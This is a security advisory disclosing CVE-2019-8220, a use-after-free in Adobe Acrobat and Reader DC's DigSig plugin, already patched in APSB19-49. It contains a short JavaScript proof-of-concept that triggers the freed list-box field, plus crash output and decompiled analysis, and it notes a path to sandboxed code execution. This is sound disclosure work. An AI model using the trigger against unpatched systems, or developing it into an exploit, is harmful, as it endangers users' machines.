CVE: CVE-2019-8220

Tested Versions:

  • Adobe Acrobat and Reader DC versions 2019.012.20040 and earlier

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).

Both Adobe Reader and Acrobat DC share the same DigSig.api plugin:

Image path: C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\DigSig.api
File Version Number: 19.10.20064.48846
Product Version Number:  19.10.20064.48846
Comments:  The Digital Signature plug-in (DigSig) provides a generic PDF file digital-signing service. [...]
Company Name:  Adobe Systems Incorporated
File Description:  Adobe Acrobat Digital Signature Plug-in
File Version:  19.10.20064.310990
Legal Copyright: Copyright 1984-2018 Adobe Systems Incorporated and its licensors. All rights reserved.
Product Name:  Adobe Acrobat Digital Signature Plug-in
Product Version: 19.10.20064.310990

There is a use-after-free bug when Acrobat Reader executes Javascript related to Document.Field object.

Technical Details

Crash context:

(1eb0.3d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=265aefe8 ebx=265aefe8 ecx=008fe2e0 edx=009d0000 esi=62956fb0 edi=00000000
eip=5f1fef01 esp=008fe348 ebp=008fe37c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
AcroForm!DllUnregisterServer+0xb377f:
5f1fef01 8b4614          mov     eax,dword ptr [esi+14h] ds:002b:62956fc4=????????

The offending code is as follows:

field=this.addField('test','listbox' ,2,[134,824,158,144]);
field.setAction('Format',"this.flattenPages();"); // format will trigger remove field
field.bgColor = color.red //trigger format event then re-use field again

When PageHeap is enabled the code above will crash Adobe Acrobat DC. The program tries to access a freed CLstBxField object.

Analysis

In the native implementation of document.flattenPages at DigSig.api+0x0049EB2 there is no check to prevent deleting a Field in the middle of a Format event. Take a look at the code below:

// at DigSig.api+0x0049EB2
__int16 __cdecl CDigSigJSHandler::DocObjMethodFlattenPages(int a1, int a2, int a3) 
{

  if ( v8 < 0 || v8 >= v15 ) // check arg9
  {
    v12 = "nStart";
    goto LABEL_25;
  }
  if ( v7 < 0 || v7 >= v15 ) // check arg1
  {
    v12 = "nEnd";
    goto LABEL_25;
  }
  if ( v19 > 2 ) // check arg2
  {
    v12 = "nNonPrint";
LABEL_25:
    v11 = 1;
    return (*(dword_23101F5C + 0x160))(a1, v22, a3, v11, v12); // exception
  }
  v9 = CDigSig::GetDoc(gpMain, v18); 
  v18 = v9;
  if ( v9 ) // check valid document
  {
    if ( sub_23053669(v9) ) // check operation valid -> need permission to return true on Acrobat reader
      return CDigSigDocument::FlattenPages(v18, v20, v21, v19); // will call this
    v12 = 0;
    v11 = 11;
    return (*(dword_23101F5C + 0x160))(a1, v22, a3, v11, v12);
  }
  return v3;
}

// at DigSig.api+0x0388B7
int __cdecl CDigSigDocument::FlattenPages(int a1, int a2, int a3, int a4)
{

  v4 = (*(gAcroViewHFT + 644))();
  v5 = gAcroViewHFT;
  v10 = v4;
  v6 = (*(gAcroViewHFT + 636))(1112);
  (*(v5 + 640))(v6);
  v7 = a2;
  v8 = 1;
  if ( a2 <= a3 )
  {
    do
    {
      CDigSigPage::CDigSigPage(a1, &v11, *(a1 + 0x20), v7);
      v8 = CDigSigPage::Flatten(&v11, a4);
      ++v7;
      CDigSigPage::~CDigSigPage(&v11);
    }
    while ( v7 <= a3 && v8 );
  }
  (*(gAcroViewHFT + 640))(v10);
  return v8;
}

Function CDigSigJSHandler::DocObjMethodFlattenPages only checks the document object, argument and operation. The called function CDigSigDocument::FlattenPages does not perform any checks.

The crash happens at AcroForm+0x002FEF01. ESI register points to a memory region whose first pointer point to AcroForm+006FBB54 which is in CLstBxField::vftable:

.rdata:006FBB54 ; const CLstBxField::`vftable'
.rdata:006FBB54 ??_7CLstBxField@@6B@ dd offset hb_set_invert
.rdata:006FBB54                                         ; DATA XREF: sub_108523+446o
.rdata:006FBB58                 dd offset sub_300732
.rdata:006FBB5C                 dd offset sub_2FE94F
.rdata:006FBB60                 dd offset sub_2FC444
.rdata:006FBB64                 dd offset sub_2FC59E
.rdata:006FBB68                 dd offset loc_51238
.rdata:006FBB6C                 dd offset sub_304499
.rdata:006FBB70                 dd offset sub_DB37C
.rdata:006FBB74                 dd offset sub_70D40
.rdata:006FBB78                 dd offset sub_301637
.rdata:006FBB7C                 dd offset sub_1FB4B5
.rdata:006FBB80                 dd offset sub_2D9FFD

EDI is a this pointer to a CLstBxField object which is freed when flattenPages is called. With proper memory manipulation this bug can be turned into code execution within the sandbox context.

Timeline:

  • 2019-09-09 Vendor disclosure
  • 2019-10-15 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-49.